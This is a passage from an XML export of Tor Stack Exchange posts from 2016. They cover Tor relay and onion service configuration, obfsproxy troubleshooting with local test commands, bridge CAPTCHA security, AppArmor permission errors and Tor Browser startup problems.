going to make specific endorsements.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-01T19:49:51.390" LastActivityDate="2016-08-01T19:49:51.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostTypeId="2" ParentId="12272" CreationDate="2016-08-02T07:23:50.527" Score="1" Body="&lt;p&gt;An RSS feed is no different than other web resorces: to browse it anonymously via Tor, connect to each site individually, one new circuit per site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands today, RSS feed aggregators just &lt;em&gt;aggregate&lt;/em&gt; several feeds from a user-predefined list, retrieving it in the background and presenting it in an UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking e.g. &lt;a href=&quot;http://tt-rss.org&quot; rel=&quot;nofollow&quot;&gt;Tiny Tiny RSS&lt;/a&gt;, an OSS self-hosted PHP webapp, each feed in the list is checked in the background every &lt;em&gt;n&lt;/em&gt; minutes for updates. From a network perspective, a single IP generates a recognisable pattern of traffic, either the native IP of the server, a proxy or an Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One may attain some level of obfuscation by having a very large set of feeds, so that one's fedlist does not have an unique, recognizable pattern. For example, by loading up as many as opml files one  finds on the net, or by having a large multiuser instance of tt-rss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for effectiveness, it depends on the risk model one has.&lt;/p&gt;&#xA;" OwnerUserId="13609" LastActivityDate="2016-08-02T07:23:50.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12284" PostTypeId="1" AcceptedAnswerId="12287" CreationDate="2016-08-02T12:30:08.423" Score="2" ViewCount="423" Body="&lt;p&gt;My relay server is connected to two networks: a DSL with decent download but poor upload speed and a symmetric fiber connection which has a lot of contention in the download direction but has plenty of upload to spare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set up the relay so that incoming traffic uses the DSL and outgoing uses the fiber? How would I configure it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would maximize the bandwidth I can give the relay and seems like it could be good for the Tor network because traffic would be routed through two different ISPs.&lt;/p&gt;&#xA;" OwnerUserId="13847" LastActivityDate="2017-05-27T19:34:51.727" Title="Can I use different networks for inbound and outbound traffic?" Tags="|configuration|network-configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostTypeId="1" CreationDate="2016-08-02T17:52:02.133" Score="1" ViewCount="3506" Body="&lt;p&gt;I installed tor on a linux mint fresh install (18 - Sarah Cinnamon - to use with proxychains, with default settings too), with default settings. Tor service is started, but it does not appear listening on port 9050 when I put netstat -vantup (or ss). Iptables is disabled. When I try use proxychains (for example, proxychains firefox), the console shows me &quot;|S-chain|-&amp;lt;&gt;-127.0.0.1:9050-&amp;lt;--timeout&quot;. In a station with Ubuntu, I did same installation,  and works fine. Someone can help me to identify what can happend? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13852" LastActivityDate="2016-09-19T19:38:21.733" Title="Tor is running but service not listening" Tags="|configuration|help|" AnswerCount="1" CommentCount="6" ClosedDate="2016-09-19T22:22:02.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="2" ParentId="12284" CreationDate="2016-08-02T19:57:52.850" Score="0" Body="&lt;p&gt;Yes, this can be achieved by using the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#OutboundBindAddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OutboundBindAddress&lt;/code&gt;&lt;/a&gt; configuration option. For example in your torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 1.2.3.4:9001&#xA;OutboundBindAddress 4.3.2.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note, however, that if a client connects to &lt;code&gt;1.2.3.4&lt;/code&gt;, response cells will be sent back down that connection, the responses won't be sent down a new outbound connection from &lt;code&gt;4.3.2.1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the manual:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;OutboundBindAddress&lt;/strong&gt; &lt;em&gt;IP&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Make all outbound connections originate from the IP address specified. This is only useful when you have multiple network interfaces, and you want all of Tor’s outgoing connections to use a single one. This option may be used twice, once with an IPv4 address and once with an IPv6 address. This setting will be ignored for connections to the loopback addresses (127.0.0.0/8 and ::1).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-05-27T19:34:51.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostTypeId="2" ParentId="219" CreationDate="2016-08-02T21:47:21.303" Score="1" Body="&lt;p&gt;There's a great video example here from AdaFruit showing how to get it running on a Raspberry Pi. The links below the video have a load more useful links.  It's insanely easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=iKBKtDbhDko&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=iKBKtDbhDko&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13856" LastActivityDate="2016-08-02T21:47:21.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="1" CreationDate="2016-08-03T08:35:01.447" Score="1" ViewCount="40" Body="&lt;p&gt;it may be that Tor has an interruption while I, a mail ship and then sent my correct IP address and I would be traceable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible when i send a mail that Tor has a &lt;strong&gt;drop out&lt;/strong&gt; which&lt;br&gt;&#xA; i don t notice an my normal IP gets send?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Charlotte&lt;/p&gt;&#xA;" OwnerUserId="13860" LastEditorUserId="12737" LastEditDate="2016-08-03T11:25:14.907" LastActivityDate="2016-08-03T20:40:21.657" Title="can Tor/Tails have dropouts" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="1" CreationDate="2016-08-03T12:11:32.993" Score="1" ViewCount="43" Body="&lt;p&gt;When I try to download tor , a message pops up on my iPhone 6 saying safari can not do this . I hit the Mac OS download. How can I download tor on my iPhone'&lt;/p&gt;&#xA;" OwnerUserId="13864" LastActivityDate="2016-08-03T12:11:32.993" Title="Cannot download tor on iphone" Tags="|mac|" AnswerCount="0" CommentCount="0" ClosedDate="2016-08-04T13:17:48.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="2" ParentId="12289" CreationDate="2016-08-03T12:47:20.500" Score="1" Body="&lt;p&gt;From Tails, using Thunderbird with it's default settings? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor's connection dropped or Tor crashed you'd just lose connectivity entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any programs correctly configured to use Tor's SOCKSPort, like Tor Browser or Thunderbird with TorBirdy installed, would just throw errors about being unable to connect either to or through the proxy. They would not &quot;fail open&quot; (I.E. circumvent Tor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Post Script:&lt;/em&gt;&#xA;&lt;em&gt;I guess it's worth stating, for factual accuracy, that software can and does go wrong, and it is possible that an unlikely confluence of unforseen software behaviour happening in both the kernel and the program at the same time could lead to this...but it is not a very realistic worry.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-03T20:40:21.657" LastActivityDate="2016-08-03T20:40:21.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12292" PostTypeId="1" CreationDate="2016-08-03T16:12:14.123" Score="1" ViewCount="487" Body="&lt;p&gt;Clicked on &quot;refresh tor&quot; and lost my homepage and log-in.  still have utilities but browser is now Firefox. I clicked on  Utilities,  then Help (?), then troubleshooting information, On this page you can choose either &quot; refresh tor&quot; or &quot;start in safe mode&quot;. After refreshing, Tor home page was gone , now Firefox. also shortcuts.  Still have utility but boot can't find proxy server.  Can I get my Tor back? &lt;/p&gt;&#xA;" OwnerUserId="13867" LastEditorUserId="13867" LastEditDate="2016-08-04T03:32:55.453" LastActivityDate="2019-08-07T13:27:42.147" Title="Refreshed Tor and lost log-in,home page and icons" Tags="|windows|help|firefox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12293" PostTypeId="1" CreationDate="2016-08-03T18:36:54.353" Score="3" ViewCount="689" Body="&lt;p&gt;Tor's current CAPTCHA implementation is easily crackable through bots - whether through &lt;a href=&quot;http://www.deathbycaptcha.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;paid human labour&lt;/a&gt; or &lt;a href=&quot;http://www.theverge.com/2014/4/16/5621538/google-algorithm-can-solve-recaptcha-almost-every-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;automatic algorithms&lt;/a&gt; with 99.8% accuracy&lt;sup&gt;&lt;a href=&quot;http://www.theverge.com/2014/4/16/5621538/google-algorithm-can-solve-recaptcha-almost-every-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;. Although the algorithm by Google is for reCaptcha, the same results could plausibly be applied to Tor's CAPTCHA, which isn't necessarily as secure or hard to read. Can this be done? And surely the NSA and other government agencies have more resources than Google. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is Tor's Bridge-getting system or are we all being spied on?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any captcha can be cracked through manual human labour&lt;/li&gt;&#xA;&lt;li&gt;Government agencies have resources to perform massive amounts of human labour&lt;/li&gt;&#xA;&lt;li&gt;Therefore any CAPTCHA cannot be used&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ispo facto we're all being spied on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And IP-limiting services wouldn't work because you could just use Tor to keep changing your IP. Perhaps we could block Tor end nodes, but there are always private end nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example CAPTCHA for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/USj9Z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/USj9Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12229" LastEditorUserId="12229" LastEditDate="2016-08-03T18:53:08.740" LastActivityDate="2016-09-01T15:32:13.383" Title="Security of Tor bridges and Captcha" Tags="|security|bridge|captcha|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="1" AcceptedAnswerId="12295" CreationDate="2016-08-03T20:17:25.217" Score="0" ViewCount="1083" Body="&lt;p&gt;I want to run ASP.NET Core on a non Windows machine with Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure IIS / ASP.NET Core to publish an HSP endpoint? &lt;/p&gt;&#xA;" OwnerUserId="247" LastEditorUserId="12737" LastEditDate="2016-08-03T20:41:09.220" LastActivityDate="2017-11-04T07:44:09.680" Title="How do I make a Tor HSP on IIS / ASP.NET Core?" Tags="|onion-services|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12295" PostTypeId="2" ParentId="12294" CreationDate="2016-08-03T21:06:19.080" Score="2" Body="&lt;p&gt;Configure your chosen httpd to listen on &lt;code&gt;127.0.0.1:80&lt;/code&gt; (the port can be arbitrary, just update the value in the torrc to match).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then download a copy of the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Expert Bundle&lt;/a&gt;, extract it into a folder on your Desktop or similar, e.g. &lt;code&gt;C:\Users\Bob\Desktop\Tor\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a flat text file with contents like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0 # we don't need SOCKS, we're not a client&#xA;DataDirectory &quot;C:\\Users\\Bob\\Desktop\\Tor\\Data&quot; # I think this should be reasonable for a Windows users Tor data?&#xA;HiddenServiceDir &quot;C:\\Users\\Bob\\Desktop\\Tor\\Data\\onion&quot;&#xA;HiddenServicePort 80 80 # points port 80 on the onion to a service running on 127.0.0.1:80&#xA;Log notice file &quot;C:\\Users\\Bob\\Desktop\\Tor\\Data\\notice.log&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file to somewhere like &lt;code&gt;C:\Users\Bob\Desktop\Tor\torrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now open up cmd.exe and nagivate to &lt;code&gt;C:\Users\Bob\Desktop\Tor\Tor&lt;/code&gt; and launch &lt;code&gt;tor.exe&lt;/code&gt; with a command line &lt;code&gt;tor.exe -f C:\Users\Bob\Desktop\Tor\torrc&lt;/code&gt;. If I recall correctly, &lt;code&gt;tor.exe&lt;/code&gt; has issues with printing output to the Windows terminal (&lt;code&gt;cmd.exe&lt;/code&gt;) so check the file set as the log above, and ensure that everything looks okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all went well, you'll now have a file at &lt;code&gt;C:\Users\Bob\Desktop\Tor\Data\onion\hostname&lt;/code&gt; which will contain the .onion address generated. Give it a minute or so to publish then try to visit the address in the file, and it should connect to your httpd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Given your previous question about scallion, you can stop &lt;code&gt;tor.exe&lt;/code&gt; then replace the content of the &lt;code&gt;C:\Users\Bob\Desktop\Tor\Data\onion\private_key&lt;/code&gt; with one of the generated keys, then start tor and it should publish for the custom onion hostname.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-03T21:06:19.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="2" ParentId="12293" CreationDate="2016-08-03T21:29:57.987" Score="6" Body="&lt;p&gt;Any captcha system can be broken by paying people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The captcha &lt;em&gt;has&lt;/em&gt; been attacked in the past by a nationstate adversary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The captcha isn't critical to the security of Tor, it does present problems for censorship circumvention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breaking it would net you a subset of the bridges on bridgedb, it is partitioned so that a break on any one of the distribution methods will not compromise the entire set of bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are infact many (and cheaper) ways to discover bridges with less work and effort, see for example &lt;a href=&quot;https://research.torproject.org/techreports/ten-ways-discover-tor-bridges-2011-10-31.pdf&quot;&gt;this report&lt;/a&gt; by arma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;ispo &lt;em&gt;(sic)&lt;/em&gt; facto we're all being spied on&quot; doesn't hold. The previous &quot;fact&quot; (the captcha is defeatable) does not lead to the conclusion that we're being spied on, merely that powerful adversaries can use a largely redundant method to discover some of the bridgedb bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The captchas purpose is limited, and it's limitations well acknowledged. Worrying about the difficulty of the captcha is bikeshedding, at least against NSA level adversaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm not even going to waste time trying to deconstruct some of the other faulty logic and assumptions in your question. Even if they were right, the result is mostly irrelevant.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-03T21:36:23.330" LastActivityDate="2016-08-03T21:36:23.330" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12297" PostTypeId="1" AcceptedAnswerId="12298" CreationDate="2016-08-04T05:39:09.977" Score="2" ViewCount="824" Body="&lt;p&gt;I'm recently running openvpn in openwrt-x86-generic, and I want to use obfsproxy to obfuscate the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the package of obfsproxy in openwrt(which I use as a openvpn server) has been abandoned for quite a long time, so the latest version I can get through opkg is &lt;em&gt;0.1.4&lt;/em&gt;. However, in a PC running windows xp(which is a client), the oldest version of obfsproxy I can get  through &lt;code&gt;pip install&lt;/code&gt; is &lt;em&gt;0.2.1&lt;/em&gt;. When I try to connect the server, it always cast an error saying &lt;code&gt;corrupted magic number&lt;/code&gt;, which is likely to be the version problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried from 0.2.1 to 0.2.13 in client, none of which worked. There seems to be no specific document on this problem, and it seems complicated now since the package in openwrt in nolonger maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some advice on how to solve it, or offer some reference about obfsproxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I'm using obfs2 method, but I don't think that is the key problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Tgn&lt;/p&gt;&#xA;" OwnerUserId="13870" LastActivityDate="2016-08-04T07:58:27.223" Title="Couldn't connect to server through obfsproxy( &amp; where to get the latest document)?" Tags="|windows|linux|obfsproxy|openvpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12298" PostTypeId="2" ParentId="12297" CreationDate="2016-08-04T07:58:27.223" Score="1" Body="&lt;p&gt;obfs2 should be considered dead and buried. A passive observer can remove the obfuscation (and an active attacker can remove obfs3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Corrupted magic value&quot; is actually part of the protocol, it's not related to the &quot;version number&quot;, it expects that a &quot;magic&quot; value (&lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/obfsproxy/transports/obfs2.py#n23&quot; rel=&quot;nofollow&quot;&gt;obfs2.py&lt;/a&gt;, &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfsproxy-legacy.git/tree/src/protocols/obfs2.h#n30&quot; rel=&quot;nofollow&quot;&gt;obfs2.h&lt;/a&gt;) is part of the decrypted message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about obfs2 &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports#obfs2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, it includes example code that should allow you to reconstruct and review the key exchange from a packet capture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They &lt;em&gt;should&lt;/em&gt; be interoperable, using 0.2.13 obfs2.py as the client and 0.1.4 obfsproxy as the server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;setup the server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./obfsproxy obfs2 --dest=127.0.0.1:31337 server 127.0.0.1:31338&#xA;2016-xx-xx xx:xx:xx [notice] Starting (obfsproxy version: 0.1.4 (git-94ebc4c3edf1e3e5)).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;setup the client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bin/obfsproxy obfs2 --dest 127.0.0.1:31338 client 127.0.0.1:31339&#xA;2016-xx-xx xx:xx:xx,xxx [WARNING] Obfsproxy (version: obfsproxy-0.2.13-1-g2bf9d09) starting up.&#xA;2016-xx-xx xx:xx:xx,xxx [WARNING] Pyptlib version: 0.0.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;connect into the client and send some data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ncat 127.0.0.1 31339 -c 'echo &quot;Hello, this is dog.&quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the receiving end-point receives it over obfs2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ncat -l 127.0.0.1 31337&#xA;Hello, this is dog.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &quot;Hello, this is dog.&quot; was sent into the waiting &lt;code&gt;0.2.13 obfs2.py&lt;/code&gt; client listener, across to the &lt;code&gt;0.1.4 obfsproxy&lt;/code&gt; server listener and out to the destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should, however, stop using obfs2 and upgrade to obfs4. For how to cross-compile it, try &lt;a href=&quot;https://tor.stackexchange.com/questions/10373/is-there-a-obfs4-package-for-armv5/10396#10396&quot;&gt;this answer&lt;/a&gt; and incorporate setting environment variables in the launch script, in line with &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt#n166&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pt-spec.txt&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-04T07:58:27.223" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="1" CreationDate="2016-08-04T18:21:19.287" Score="1" ViewCount="9055" Body="&lt;p&gt;&quot;HiddenServicePort with no preceding HiddenServiceDir directive&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;errors from my syslog after updating to tor v2.8.6.1 in ubuntu 16 and rebooting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Tor v0.2.8.6 (git-2c0d81c26eefc1f6) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g-fips and Zlib 1.2.8.&#xA;[notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;[notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;[notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;[warn] HiddenServicePort with no preceding HiddenServiceDir directive&#xA;[warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;[err] Reading config failed--see warnings above.&#xA;systemd[1]: tor@default.service: Control process exited, code=exited status=1&#xA;systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;systemd[1]: tor@default.service: Unit entered failed state.&#xA;systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;systemd[1]: tor@default.service: Service hold-off time over, scheduling restart.&#xA;systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;tor[4826]: .500 [notice] Tor v0.2.8.6 (git-2c0d81c26eefc1f6) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g-fips and Zlib 1.2.8.&#xA;tor[4826]: .500 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;tor[4826]: .500 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;tor[4826]: .500 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;tor[4826]: .503 [warn] HiddenServicePort with no preceding HiddenServiceDir directive&#xA;tor[4826]: .504 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;tor[4826]: .504 [err] Reading config failed--see warnings above.&#xA;systemd[1]: tor@default.service: Control process exited, code=exited status=1&#xA;systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;systemd[1]: tor@default.service: Unit entered failed state.&#xA;systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;systemd[1]: tor@default.service: Service hold-off time over, scheduling restart.&#xA;systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;systemd-logind[3249]: Removed session c2.&#xA;systemd[1]: Stopping User Manager for UID 108...&#xA;systemd[3898]: Reached target Shutdown.&#xA;systemd[3898]: Starting Exit the Session...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tor wouldn't start. I also noticed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apparmor=&quot;DENIED&quot; operation=&quot;open&quot; profile=&quot;system_tor&quot; name=&quot;/var/lib/tor/hidden_service/&quot; pid=5051 comm=&quot;tor&quot; requested_mask=&quot;r&quot; denied_mask=&quot;r&quot; fsuid=0 ouid=122&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my apparmor profile was blocking access to my hidden service dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ cat /etc/apparmor.d/system_tor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;owner /var/lib/tor/** rwk,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/** rwk,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;removing &quot;owner&quot; fixes the issue with tor, it start without errors now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it generally okay to remove &quot;owner&quot; from the apparmor profile? is there another resolution for the syslog errors?&lt;/p&gt;&#xA;" OwnerUserId="13873" LastActivityDate="2017-06-02T09:33:35.603" Title="Tor.service boot errors?" Tags="|configuration|onion-services|error|log|apparmor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostTypeId="2" ParentId="12300" CreationDate="2016-08-05T01:54:38.340" Score="3" Body="&lt;p&gt;The &quot;owner&quot; conditional, as per the &lt;a href=&quot;http://wiki.apparmor.net/index.php/AppArmor_Core_Policy_Reference#owner&quot; rel=&quot;nofollow&quot;&gt;AppArmor wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The owner keyword is used to make the rule conditional on object ownership. Specifically the task must have the same euid/fsuid as the object being referenced by the permission check.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be that the user that &lt;code&gt;tor&lt;/code&gt; is running as &lt;em&gt;(&lt;code&gt;debian-tor&lt;/code&gt; is the default on ubuntu and other debian derivatives)&lt;/em&gt; is not the owner of the &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common mistake people make is trying to create the &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt; folder manually, this &lt;em&gt;normally&lt;/em&gt; results in an issue where Tor complains about the permissions on the folder and refuses to operate on it. Instead, you should just set the &lt;code&gt;HiddenServiceDir&lt;/code&gt; directive to point to some location inside &lt;code&gt;/var/lib/tor&lt;/code&gt;, which &lt;code&gt;debian-tor&lt;/code&gt; should already own. It create the folder and files itself, with the appropriate permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the log output: &lt;code&gt;apparmor=&quot;DENIED&quot; ...[SNIP].. fsuid=0 ouid=122&lt;/code&gt;, the fsuid is &lt;code&gt;root&lt;/code&gt; (uid 0) and the process is running as &lt;em&gt;(what I'm assuming is)&lt;/em&gt; &lt;code&gt;debian-tor&lt;/code&gt; (uid 122). It looks like the directory isn't owned by &lt;code&gt;debian-tor&lt;/code&gt;. You probably want that &quot;owner&quot; prefix, try to address the directory permissions problem (I.E. let &lt;code&gt;tor&lt;/code&gt; handle creating it).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-05T01:54:38.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="1" CreationDate="2016-08-05T15:13:20.443" Score="2" ViewCount="12822" Body="&lt;p&gt;It was working fine, I checked for update and updated and it auto restarted . Since then it is stuck at that point. Tried exiting and restarting but no result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; to clarify my problem, after I booted to windows 10, I opened Tor browser first. It opened as usual . I saw a notification to check for update and I clicked it so it downloaded latest version and updated and asked to restart tor browser. After clicking restart, It got stuck at where tor searches and connects to the tor network. precisely at where it shows 'loading network status' in that small window.&lt;/p&gt;&#xA;" OwnerUserId="13882" LastEditorUserId="13882" LastEditDate="2016-08-07T09:58:20.670" LastActivityDate="2016-08-07T09:58:20.670" Title="Tor browser stuck at 'loading network status'" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-08-05T20:23:16.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="12304" PostTypeId="2" ParentId="12303" CreationDate="2016-08-05T15:35:53.853" Score="2" Body="&lt;p&gt;I fixed it. It was due to my time setting. Due to Dual boot, When I booted to windows it was some different time. In my defense, it should not have worked first time I opened it rather It gave error after I updated it. &lt;/p&gt;&#xA;" OwnerUserId="13882" LastActivityDate="2016-08-05T15:35:53.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
